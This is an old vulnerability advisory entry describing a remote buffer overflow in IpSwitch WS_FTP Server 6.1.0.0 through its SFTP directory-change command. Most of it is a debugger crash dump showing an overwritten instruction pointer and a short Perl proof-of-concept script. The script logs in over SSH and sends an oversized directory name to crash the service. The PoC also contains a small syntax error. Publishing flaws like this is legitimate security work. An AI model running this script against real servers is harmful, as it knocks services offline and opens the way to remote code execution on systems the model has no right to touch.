IpSwitch WS_FTPSERVER with SSH remote Buffer Overflow

2008-02-03T00:00:00
ID SECURITYVULNS:DOC:18999
Type securityvulns
Reporter Securityvulns
Modified 2008-02-03T00:00:00

Description

IpSwitch WS_FTPSERVER with SSH remote Buffer Overflow

Website:http://www.wsftp.com/products/ws_ftp_server/

Version:6.1.0.0 ( last one,others might be vuln too )

Bug: Remote Buffer Overflow ( CD)

(8e8.a78): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=00000000 ecx=00410041 edx=7c9137d8 esi=00000000 edi=00000000

eip=00410041 esp=04b8c830 ebp=04b8c850 iopl=0 nv up ei pl zr na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246

00410041 ?? ???

Here's the PoC :

use strict; use Net::SSH2; my $ip="127.0.0.1"; my $port=22; my $user="USERNAME"; my $pass="PASSWORD"; my $ssh2 = Net::SSH2->new(); my $payload ="A" x 5131; $ssh2->connect($ip, $port) || die "could not connect"; $ssh2->auth_password($user,$pass)|| die "wrong passwd/login"; print "Poc running ...\n"; my $sftp = $ssh2->sftp my $dir = $sftp->opendir($payload); print "Buffer Overflow Successfull\n"; $ssh2->disconnect(); exit;